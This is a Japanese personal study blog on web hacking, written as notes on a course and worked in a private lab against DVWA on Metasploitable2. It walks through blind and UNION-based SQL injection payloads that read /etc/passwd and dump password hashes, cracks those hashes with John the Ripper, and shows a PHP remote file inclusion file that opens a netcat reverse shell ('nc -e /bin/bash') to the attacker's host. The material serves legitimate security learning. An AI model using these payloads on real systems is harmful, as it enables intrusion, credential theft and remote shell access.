目次 セキュリティ関連

メモ:このブログは検索エンジンに登録させない設定になっている(noindex, nofollow
メモ:この記事は Udemy の ホワイトハッカー養成講座 及びその他幾つかを閲覧し、自分用のメモとして残すものである
メモ:Udemy は月に1回くらいは9割引きセールをやっている気がする
メモ:大方の記事が、Kali Linux と Metasploitable2 Linux が仮想環境にインストールされている前提で進んでいる。よって下から順に読む方がよい
メモ:不正確、中途半端、間違いがある前提で読む

sqlmap

クロスサイト・スクリプティング (XSS) 格納型

クロスサイト・スクリプティング (XSS) 反射型

File Upload 攻撃

SQL Injection(Blind SQL Injection)

SQL Injection

RFI(Remote File Inclusion)

File Inclusion(ディレクトリ トラバーサル)

CSRF(クロスサイト リクエスト フォージェリ)

Command Execution(OS コマンド・インジェクション)

THC Hydra (Brute force 攻撃。Intruder 機能)

Burp Suite

DVWA 初期設定

OpenVAS

Nessus

Armitage(Hail Mary)

Armitage(UnrealRCD 3.2.8.1 バックドア)

Armitage(vsftpd 2.3.4 バックドア)

Metasploit(distccデーモン)

Metasploit(Samba コマンドインジェクション)

Metasploit(PHP-CGI インジェクション)

Metasploit(UnrealRCD 3.2.8.1 バックドア)

Metasploit(vsftpd 2.3.4 バックドア)

Metasploit

John the Ripper

Hydra

nikto

Wireshark

nmap

OpenVAS のインストール

Nessus のインストール

VirtualBox 起動エラー

Ubuntu

Metasploitable2-Linux

Kali Apache2

Kali Linux

目次 サーバー関連

下から読んでください。ところどころ飛んでるのは整理が追いついてないです。

不正確、中途半端、間違いがある前提で読んでください。
下記以外に、いい加減な記事を含めていくつかの記事がどこかに転がってます。

BIND

yum updateで kernel を除外する

MySQL 8.0

Man (マニュアル)の日本語版をインストールする

nginx

CentOS 7.6 + VirtualBox でマウスがうまく認識されない問題

ゲストOS(CentOS)上のWEBサーバーをホストOS(Windows)から閲覧する

KDE ウォレットの停止

sudo を使えるようにする

SELinux の停止

WordPress を FTP を使わず Curl でダウンロード、解凍して使う。

SELinux 関連

18. ftpサーバーの導入。ftp で wordpress のファイルをサーバーにアップロードする

15. phpMyAdmin のログイン制限

14. phpMyAdmin データベースとユーザーの新規作成

12. phpMyAdmin の環境保管領域を作成する。その1

11. MariaDBのインストール

10. PHP の拡張モジュールについて

9. PHP 7.3+phpMyAdminのインストール

8. Apache HTTP Server のインストール

7. ゲストOS にコピペ機能や画面のサイズ調整機能をつける

6. Yum update (初期状態で入っているソフトを最新の状態に更新する)

5. VirtualBoxのセーブ機能を使う(スナップショット)

4. VirtualBOX に CentOS7をインストールする

3. VirtualBOX に CentOS7を登録する(仮想マシンの初期設定)

2. VirtualBOX に CentOS7を登録する(前準備:BIOS設定)

1. 自宅のパソコンにCentOS7をインストールする

SQL Injection(Blind SQL Injection)

SQLインジェクション - Wikipedia
ブラインドSQLインジェクションと呼ばれる手法も存在する。例えば、「テーブル名の1文字目がaのテーブルは存在するか?」「aで始まり2文字目がbのテーブルは存在するか?」などの情報を確認するサブクエリーを含め、その抽出の成否を丹念に集めていけば、テーブル名や項目名を確認できる。

Metasploitable2 から DVWA にログインする

Security Level : low を確認

  • 左欄から SQL Injection (Blind) を選択し、Vulnerability: SQL Injection (Blind) ページに移動する
  • 入力欄に 1 を入力してみる

f:id:hirose-test:20190917215803j:plain

<?php    
if (isset($_GET['Submit'])) {
    // Retrieve data
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
    $i = 0;

    while ($i < $num) {
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';
        $i++;
    }
}
?>

次に「1' and 1=1」を入力してみる。が、特に変化なし

f:id:hirose-test:20190917220211j:plain

コード上では
SELECT first_name, last_name FROM users WHERE user_id = '$id' ($id が置き換わる)
                             ↓
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1'

最後のクォーテーション「'」が不必要である。そこで、最後に「#」を付けて「1' and 1=1#」。"Submit" すると、表示される。
(# はクエリーの残りの部分をコメントアウトする)

SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#'

「1' and '1'='1」でもよい。

SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1'

f:id:hirose-test:20190917220357j:plain

次に「1' and 1=2#」で試すと、1=2 が false なので表示なし。

f:id:hirose-test:20190917220655j:plain

次に、サブクエリー(SELECT文で表示した結果を別の SELECT文で使う)がサポートされているか確認する。
MySQL :: MySQL 5.6 リファレンスマニュアル :: 13.2.10 サブクエリー構文

1' and (select 1) =1#

f:id:hirose-test:20190917222805j:plain

サポートされている。

それでは次に、admin というテーブルが存在すると推測して

1' and (select 1 from admin limit 0,1) =1#
(admin table から先頭 1行を取り出す)

f:id:hirose-test:20190917223030j:plain

表示されない。つまり admin table はない。

次に、テーブル名を users と推測してみる

1' and (select 1 from users limit 0,1) =1#

f:id:hirose-test:20190917223816j:plain

users table が存在することが分かる

次に、カラム名を推測する
まず pass というカラム名が存在すると仮定して

1' and (select substring(concat(1,pass),1,1) from users limit 0,1) =1#
(users table から、定数 1 に pass の名前を連結した文字列の 1 文字目から 1 つ取り出す)
( = 先頭文字が 1 )(1 = 1 ⇒ true)(カラム名 pass が存在しない場合 null ⇒ false)

concat は はてな 参照

f:id:hirose-test:20190917223855j:plain

表示されない

カラム名 password で試してみる

1' and (select substring(concat(1,password),1,1) from users limit 0,1) =1#

f:id:hirose-test:20190917230150j:plain

password というカラム名が存在することが分かる

次に user というカラム名を試す

1' and (select substring(concat(1,user),1,1) from users limit 0,1) =1#

f:id:hirose-test:20190917230352j:plain

user カラムも存在する
つまり、users テーブル、password, user カラムが存在することが分かる

次に、users テーブルの中の user カラムに存在するユーザー名の探索を行ってみる。

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 80#
from users limit 0,1 ⇒ users テーブルの先頭1レコード分から)
・SELECT concat(user, 0x3a, password) ⇒ user と password を 0x3a=: で区切って連結する  
・substring(str, pos, len) ⇒ 位置 pos で始まる文字列 str からの部分文字列 len 文字長を返す  
・ASCII(str) > 80 ⇒ ASCIIコードが 80(大文字の P) より大きい場合 "真" とする  
つまり  
SELECT first_name, last_name FROM users WHERE user_id = '上記を挿入'

f:id:hirose-test:20190919230428j:plain 応答メッセージが表示されたので、ユーザー名の第1文字はASCIIコードの 80(これは P)よりも大きな値であることが分かる。

同様に

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 90#(Z)  
真

f:id:hirose-test:20190919231004j:plain

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 100#  
「d」偽

f:id:hirose-test:20190919231057j:plain

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 96#  
「`」真

f:id:hirose-test:20190919231305j:plain

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),1,1)) > 97#  
「a」偽
よって、1文字目は「a」

f:id:hirose-test:20190919231443j:plain

ちなみに生DBを見てみると

mysql> select first_name, last_name from users;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     | 
| Gordon     | Brown     | 
| Hack       | Me        | 
| Pablo      | Picasso   | 
| Bob        | Smith     | 
+------------+-----------+
5 rows in set (0.00 sec)

同様に、2文字目以降を探っていく

1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),2,1)) > 99#  
「c」真

f:id:hirose-test:20190919232516j:plain

 
1' and ASCII(substring((SELECT concat(user, 0x3a, password) from users limit 0,1),2,1)) > 100#  
「d」偽  
よって、2文字目は「d」

f:id:hirose-test:20190919232616j:plain

同様に、3、4、5文字目と解いていくと「a」「d」「m」「i」「n」6文字目で concat で付けた「: コロン 16進 0x3a 10進58」 となるので終了。

補足 SELECT 1 とは

Oracle SELECT(*)とSELECT(1)の違いについて | プログラミング勉強備忘録
COUNT文の構文でCOUNT(1)は、カラムの1番目を取得して件数を取得する記述方法と思っていました。
ですのでNULL値を含まない件数が取得できると思っていましたが違うようです。
1は定数を指定しているので必ずNULL以外になります。
1を指定した場合のCOUNT(expr)は、式が常に1になるため、レコード数が常にカウントされます。
ですので結論COUNT(*)と同じ件数が取得できます。

mysql> select * from users;          
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
| user_id | first_name | last_name | user    | password                         | avatar                                                |
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
|       1 | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | http://192.168.56.105/dvwa/hackable/users/admin.jpg   | 
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | http://192.168.56.105/dvwa/hackable/users/gordonb.jpg | 
|       3 | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | http://192.168.56.105/dvwa/hackable/users/1337.jpg    | 
|       4 | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://192.168.56.105/dvwa/hackable/users/pablo.jpg   | 
|       5 | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | http://192.168.56.105/dvwa/hackable/users/smithy.jpg  | 
+---------+------------+-----------+---------+----------------------------------+-------------------------------------------------------+
5 rows in set (0.00 sec)

mysql> select 1 from users;          
+---+
| 1 |
+---+
| 1 | 
| 1 | 
| 1 | 
| 1 | 
| 1 | 
+---+
5 rows in set (0.00 sec)

mysql> select 2 from users;
+---+
| 2 |
+---+
| 2 | 
| 2 | 
| 2 | 
| 2 | 
| 2 | 
+---+
5 rows in set (0.00 sec)

mysql> select concat(1,password) from users;               
+-----------------------------------+
| concat(1,password)                |
+-----------------------------------+
| 15f4dcc3b5aa765d61d8327deb882cf99 | 
| 1e99a18c428cb38d5f260853678922e03 | 
| 18d3533d75ae2c3966d7e0d4fcc69216b | 
| 10d107d09f5bbe40cade3de5c71e9e9b7 | 
| 15f4dcc3b5aa765d61d8327deb882cf99 | 
+-----------------------------------+
5 rows in set (0.01 sec)

mysql> select substring(concat(1,password),1,1) from users;
+-----------------------------------+
| substring(concat(1,password),1,1) |
+-----------------------------------+
| 1                                 | 
| 1                                 | 
| 1                                 | 
| 1                                 | 
| 1                                 | 
+-----------------------------------+
5 rows in set (0.00 sec)

mysql> select substring(concat(1,password),1,1) from users limit 0,1;
+-----------------------------------+
| substring(concat(1,password),1,1) |
+-----------------------------------+
| 1                                 | 
+-----------------------------------+
1 row in set (0.00 sec)

【SQL】EXISTS句の中は"SELECT *" か"SELECT 1"か - 16bit!

MySQL の関数と演算子

MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数

SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)
len 引数を付けない形式では、位置 pos で始まる文字列 str からの部分文字列が返されます。
len 引数を付けた形式では、位置 pos で始まる文字列 str からの部分文字列 len 文字長が返されます。
FROM を使用する形式は、標準の SQL 構文です。また、pos に負の値を使用することもできます。その場合、部分文字列の先頭は文字列の先頭でなく、文字列の末尾からの pos 文字になります。 この関数のどの形式でも、pos で負の値を使用できます。  
すべての形式の SUBSTRING() で、部分文字列の抽出が開始される文字列内の最初の文字の位置が 1 とみなされます。

mysql> SELECT SUBSTRING('Quadratically',5);
        -> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
        -> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
        -> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
        -> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
        -> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
        -> 'ki'

 
この関数はマルチバイトセーフです。
len が 1 よりも小さい場合は、結果が空の文字列になります。

MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数

ASCII(str)
文字列 str の左端の文字の数値(ASCIIコード)を返します。str が空の文字列である場合は、0 を返します。str が NULL である場合は NULL を返します。ASCII() は、8 ビット文字の場合に動作します。

mysql> SELECT ASCII('2');
        -> 50
mysql> SELECT ASCII(2);
        -> 50
mysql> SELECT ASCII('dx');
        -> 100

ORD() 関数も参照してください。
ASCII - Wikipedia

SQL Injection

安全なウェブサイトの作り方:IPA 独立行政法人 情報処理推進機構
P.6「1.1 SQL インジェクション」参照
別冊:「安全なSQLの呼び出し方」参照

Metasploitable2 の DVWA にログインする

Security Level : low を確認

  • 左欄から SQL Injection を選択し、Vulnerability: SQL Injection ページに移動する
  • 入力欄に 1 を入力してみる

f:id:hirose-test:20190916165138j:plain

右下の ”View Source” をクリックしてソースコードを確認してみる

f:id:hirose-test:20190916165820j:plain

SELECT first_name, last_name FROM users WHERE user_id = '$id'

user_id が一致する、first_name と last_name を検索している

MySQL DB の中を直接見てみる

  1. 端末で Metasploitable2 に接続(User : msfadmin Pass : msfadmin)
  2. DB にログイン(User : root Pass : なし)
root@kali:~# ssh msfadmin@192.168.56.105
msfadmin@192.168.56.105's password: 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

~(中略)~

msfadmin@metasploitable:~$ mysql -u root -p
Enter password: 

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

DB の中身を確認

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema | 
| dvwa               | 
| metasploit         | 
| mysql              | 
| owasp10            | 
| tikiwiki           | 
| tikiwiki195        | 
+--------------------+
7 rows in set (0.00 sec)

mysql> use dvwa;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql>

先ほど確認した SQL文で発行してみる

mysql> SELECT first_name, last_name FROM users WHERE user_id = '1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     | 
+------------+-----------+

次に、"%" で検索してみると出てこない。(%という user_id はない)
(ここの % は LIKE と一緒に使うワイルドカードとは違う。単なる置物)

mysql> SELECT first_name, last_name FROM users WHERE user_id = '%';
Empty set (0.00 sec)

しかし、OR 文にし、二番目の条件式を '0'='0' とすると、この条件は真である。

mysql> SELECT first_name, last_name FROM users WHERE user_id = '%' OR '0' = '0';      
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     | 
| Gordon     | Brown     | 
| Hack       | Me        | 
| Pablo      | Picasso   | 
| Bob        | Smith     | 
+------------+-----------+

全てのレコードが表示されてしまう。

ここで、先ほどの SQL文からシングルコーテーションで囲まれた部分「%' OR '0' = '0」をコピーし、DVWA の入力欄にペーストする。そして、"submit"

f:id:hirose-test:20190916171748j:plain

全てのレコードが表示された。
これは、ソースコード上の $id 部分が下記のように置き換わる形となる。

 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '%' OR '0' = '0'"; 

次に、端末に戻り、今度は UNION 文を書いてみる。

UNION (Transact-SQL) - SQL Server | Microsoft Docs
2 つのクエリの結果を、単一の結果セットに連結します。 結果セットに重複する行が含まれるかどうかを制御します。
UNION ALL - 重複が含まれます。
UNION - 重複が除外されます。

一例

mysql> SELECT 1 AS NUM;
+-----+
| NUM |
+-----+
|   1 |
+-----+

mysql> SELECT 2 AS NUM;
+-----+
| NUM |
+-----+
|   2 |
+-----+

mysql> SELECT 1  AS NUM UNION SELECT 2 AS NUM;
+-----+
| NUM |
+-----+
|   1 |
|   2 |
+-----+

では実際に端末側で書いてみる

mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT @@version;(@@については後述)  
ERROR 1222 (21000): The used SELECT statements have a different number of columns
(エラー:UNION はフィールド数が揃っていないとエラーになる。そこで NULL を追加して再実行する)

mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,@@version;
+------------+------------------+
| first_name | last_name        |
+------------+------------------+
| NULL       | 5.0.51a-3ubuntu5 | 
+------------+------------------+

正常に実行され、MySQL のバージョンが表示されている。
ちなみに

mysql> select first_name, last_name from users;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     | 
| Gordon     | Brown     | 
| Hack       | Me        | 
| Pablo      | Picasso   | 
| Bob        | Smith     | 
+------------+-----------+

今度は、LOADFILE を使用して、Metasploitable2 のパスワードフィアルを表示してみる。(1行で横長なので \G で行毎に表示)

mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,LOAD_FILE('/etc/passwd')\G

*************************** 1. row ***************************
first_name: NULL
 last_name: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
~(後略)~

1 row in set (0.00 sec)

上記 SQL文の内 「' UNION SELECT null,LOAD_FILE('/etc/passwd')」をコピーし、DVWAの入力欄に張り付ける。最後に # を付け、残りの SQL文をコメントとして扱う。

f:id:hirose-test:20190916175933j:plain

/etc/passwd が表示されることが分かる。

また端末に戻り、次は information_schema を利用して、先頭が user となるすべてのテーブル名を表示してみる
MySQL :: MySQL 5.6 リファレンスマニュアル :: 21 INFORMATION_SCHEMA テーブル

 INFORMATION_SCHEMA は、各 MySQL インスタンス内のデータベースであり、MySQL Server が保持するほかのすべてのデータベースに関する情報を格納する場所です。
 INFORMATION_SCHEMA データベースには複数の読み取り専用テーブルが含まれます。これらには実際にはビューがあるので、関連付けられたファイルはなく、トリガーは設定できません。また、その名前を持つデータベースディレクトリもありません。
 USE ステートメントを使用してデフォルトデータベースとして INFORMATION_SCHEMA を選択できますが、実行できる操作はテーブル内容の読み取りだけで、テーブルに対する INSERT、UPDATE、DELETE 操作は実行できません。

mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,table_name from information_schema.tables where table_name like 'user%';

+------------+-------------------------+
| first_name | last_name               |
+------------+-------------------------+
| NULL       | USER_PRIVILEGES         | 
| NULL       | users                   | 
| NULL       | user                    | 
| NULL       | users_grouppermissions  | 
| NULL       | users_groups            | 
| NULL       | users_objectpermissions | 
| NULL       | users_permissions       | 
| NULL       | users_usergroups        | 
| NULL       | users_users             | 
+------------+-------------------------+

上記の中でパスワード情報を含んでいるのは users テーブルなので users テーブルの information_schema の中からすべてのカラム名を表示する。
テーブル名とカラム名を改行(Line Feed : 0x0A)を挟んで連結する(Concat 関数については後述)。

mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'\G

*************************** 1. row ***************************
first_name: NULL
 last_name: users
user_id
*************************** 2. row ***************************
first_name: NULL
 last_name: users
first_name
*************************** 3. row ***************************
first_name: NULL
 last_name: users
last_name
*************************** 4. row ***************************
first_name: NULL
 last_name: users
user
*************************** 5. row ***************************
first_name: NULL
 last_name: users
password
*************************** 6. row ***************************
first_name: NULL
 last_name: users
avatar
6 rows in set (0.00 sec)

カラム名としては、user_id, first_name, last_name, user, password, avatar の6つあることが分かる。

次に、users テーブルのカラムの内容を表示させる。

mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users\G

*************************** 1. row ***************************
first_name: NULL
 last_name: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99
*************************** 2. row ***************************
first_name: NULL
 last_name: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03
*************************** 3. row ***************************
first_name: NULL
 last_name: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b
*************************** 4. row ***************************
first_name: NULL
 last_name: Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7
*************************** 5. row ***************************
first_name: NULL
 last_name: Bob
Smith
smithy
5f4dcc3b5aa765d61d8327deb882cf99
5 rows in set (0.00 sec)

SQL文の内「' UNION SELECT null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users」までをコピーして DVWA に張り付ける。最後に # を付けて "submit"
すると、パスワードのハッシュ値が表示されることが分かる

f:id:hirose-test:20190916181821j:plain

ここで、端末を新しく開いて、下記のような形でパスワードハッシュファイルの作成を行う。
先ほどのテーブルの 4,5カラム(user, password (のハッシュ値))をコピペし、コロンで連結する。

f:id:hirose-test:20190916184117j:plain

root@kali:~# vim dvwa_hash.txt
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99

ファイルを保存する。このハッシュファイルを使って

John the Ripper を実行する

『John the Ripper』
www.demandosigno.study

root@kali:~# john --format=raw-md5 dvwa_hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 12 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 18 candidates buffered for the current salt, minimum 24 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password         (admin)
password         (smithy)
abc123           (gordonb)
letmein          (pablo)
Proceeding with incremental:ASCII
charley          (1337)
5g 0:00:00:00 DONE 3/3 (2019-09-16 18:29) 10.20g/s 371865p/s 371865c/s 406542C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

パスワードが解析されたことが分かる。

補足 MySQL のシステム変数 @@var_name

MySQL :: MySQL 5.6 リファレンスマニュアル :: 5.1.4 サーバーシステム変数
MySQL :: MySQL 5.6 リファレンスマニュアル :: 5.1.5 システム変数の使用

MySQL Server には、その構成方法を指示する多くのシステム変数が保持されています。
システム変数名と値を表示するには、SHOW VARIABLES ステートメントを使用します。

mysql> SHOW VARIABLES;                                                                                                 
+---------------------------------+-----------------------------+
| Variable_name                   | Value                       |
+---------------------------------+-----------------------------+
| auto_increment_increment        | 1                           | 
| auto_increment_offset           | 1                           | 
| automatic_sp_privileges         | ON                          | 
| back_log                        | 50                          | 
| basedir                         | /usr/                       | 
 ~(中略)~
| version                         | 5.0.51a-3ubuntu5            | 
| version_comment                 | (Ubuntu)                    | 
| version_compile_machine         | i486                        | 
| version_compile_os              | debian-linux-gnu            | 
| wait_timeout                    | 28800                       | 
+---------------------------------+-----------------------------+
232 rows in set (0.00 sec)

mysql> SELECT @@version;
+------------------+
| @@version        |
+------------------+
| 5.0.51a-3ubuntu5 | 
+------------------+
1 row in set (0.01 sec)

補足 MySQL の関数と演算子

MySQL :: MySQL 5.6 リファレンスマニュアル :: 12 関数と演算子
MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数

SQL ステートメントのいくつかのポイント (SELECT ステートメントの ORDER BY または HAVING 句、SELECT、DELETE、または UPDATE ステートメントの WHERE 句、SET ステートメントなど) では、式を使用できます。
式は、リテラル値、カラム値、NULL、組み込み関数、ストアドファンクション、ユーザー定義関数、および演算子を使用して作成できます。
 
LOAD_FILE(file_name)
ファイルを読み取り、ファイルの内容を文字列として返します。この関数を使用するには、ファイルがサーバーホストに配置されている必要があり、ファイルへのフルパス名を指定し、FILE 権限を持つ必要があります。
ファイルはすべてのユーザーから読み取り可能で、max_allowed_packet バイトよりも小さなサイズである必要があります。
secure_file_priv システム変数が空でないディレクトリ名に設定されている場合は、そのディレクトリ内にロード対象のファイルが配置されている必要があります。
ファイルが存在しない場合、または上記の条件が満たされていないために、ファイルを読み取ることができない場合、この関数は NULL を返します。
character_set_filesystem システム変数では、リテラル文字列として指定されているファイル名の解釈が制御されます。

mysql> UPDATE t
            SET blob_col=LOAD_FILE('/tmp/picture')
            WHERE id=1;

MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数

CONCAT(str1,str2,...)
引数を連結することで生成される文字列を返します。1 つ以上の引数を持つ場合があります。すべての引数が非バイナリ文字列の場合は、結果も非バイナリ文字列になります。
引数にバイナリ文字列が含まれる場合は、結果はバイナリ文字列になります。数値の引数は、同等の非バイナリ文字列形式に変換されます。
引数のいずれかかが NULL である場合、CONCAT() は NULL を返します。

mysql> SELECT CONCAT('My', 'S', 'QL');
        -> 'MySQL'
mysql> SELECT CONCAT('My', NULL, 'QL');
        -> NULL
mysql> SELECT CONCAT(14.3);
        -> '14.3'

引用符で囲まれた文字列では、文字列を並べて配置することで連結が実行されます。

mysql> SELECT 'My' 'S' 'QL';
        -> 'MySQL'
INFORMATION_SCHEMA テーブル

MySQL :: MySQL 5.6 リファレンスマニュアル :: 21.4 INFORMATION_SCHEMA COLUMNS テーブル

COLUMNS テーブルは、テーブル内のカラムに関する情報を提供します。

RFI(Remote File Inclusion)

前提として、Kali Linux (192.168.56.108) Metasploitable2 Linux (192.168.56.105) を立ち上げている。

File Inclusion : プログラムの中で他のファイルをインクルードしている場合、攻撃者が意図的にそのファイル名を修正して不正にファイルを処理させる攻撃。
Remote File Inclusion : ファイルパスとしてURL文字列を指定することによって、外部サーバー上の文字列を読み込んでしまう脆弱性

Metasploitable2 の DVWA にログインする

Security Level : low を確認
左欄から File Inclusion を選択し、Vulnerability: File Inclusion ページに移動する。

f:id:hirose-test:20190916052820j:plain

Kali Linux 上でウェブサーバーを起動する

root@kali:~# /etc/init.d/apache2 status
● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
   Active: inactive (dead)
     Docs: https://httpd.apache.org/docs/2.4/
root@kali:~# /etc/init.d/apache2 start
Starting apache2 (via systemctl): apache2.service.
root@kali:~# /etc/init.d/apache2 status
 apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
   Active: active (running) since Mon 2019-09-16 05:23:16 JST; 5s ago
~(後略)~
root@kali:~# 

起動確認

f:id:hirose-test:20190916052607j:plain

DVWA に戻り、Apache のデフォルトページが表示できるか試す。
「URLへのアクセスは、サーバーの設定により無効になっている」と出ている。
つまり Metasploitable2 には Remote File Inclusion の脆弱性は実装されていない。

f:id:hirose-test:20190916053136j:plain

そこで、Metasploitable2 強引に Remote File Inclusion の脆弱性を実装する。

Metasploitable2 に ssh で接続して、php の設定ファイルを編集する。

root@kali:~# ssh msfadmin@192.168.56.105
The authenticity of host '192.168.56.105 (192.168.56.105)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.105' (RSA) to the list of known hosts.
msfadmin@192.168.56.105's password: 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Sun Sep 15 09:41:43 2019
msfadmin@metasploitable:~$ 

管理者権限の取得

msfadmin@metasploitable:~$ sudo su -
[sudo] password for msfadmin:  (← msfadmin のパスワード。つまり msfadmin)
root@metasploitable:~# 

PHP 設定ファイルの場所へ移動

root@metasploitable:~# cd /etc/php5/cgi/
root@metasploitable:/etc/php5/cgi# ls
conf.d  php.ini

設定の確認。allow_url_include = Off になっている

root@metasploitable:/etc/php5/cgi# grep allow_url php.ini 
allow_url_fopen = On
allow_url_include = Off

変更前にコピーを取っておく

root@metasploitable:/etc/php5/cgi# cp -p php.ini php.ini.org
root@metasploitable:/etc/php5/cgi# ls
conf.d  php.ini  php.ini.org

編集する。(vi の検索は / キーに続けて検索したい文字列を入力)

root@metasploitable:/etc/php5/cgi# vim php.ini
 ~(前略)~
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off → On に変更
 ~(後略)~

保存して閉じる

確認

root@metasploitable:/etc/php5/cgi# grep allow_url php.ini   
allow_url_fopen = On
allow_url_include = On

再度 DVWA に戻り、Metasploitable2 の Apache2 のデフォルトページが表示されるか試す

f:id:hirose-test:20190916054916j:plain

表示された。

netcat を使用し、Kali から Metasploitable2 に侵入してみる

Kali 端末を Metasploitable2 から抜け、Kali の WEBルートディレクトリへ移動する

root@metasploitable:/etc/php5/cgi# exit
logout
msfadmin@metasploitable:~$ exit
logout
Connection to 192.168.56.105 closed.
root@kali:~# cd /var/www/html/;ls
index.html  index.nginx-debian.html
root@kali:/var/www/html#

shell.html というファイル名で新規ファイルを作成し、netcat で使用する PHPプログラムを作成する

root@kali:/var/www/html# vim shell.html

<?php shell_exec('nc -e /bin/bash 192.168.56.108 31337'); ?>

(後ほど待機させる)ホストのポートに接続する -e : 接続の受け入れ後に実行するプログラム hostname port

Netcat
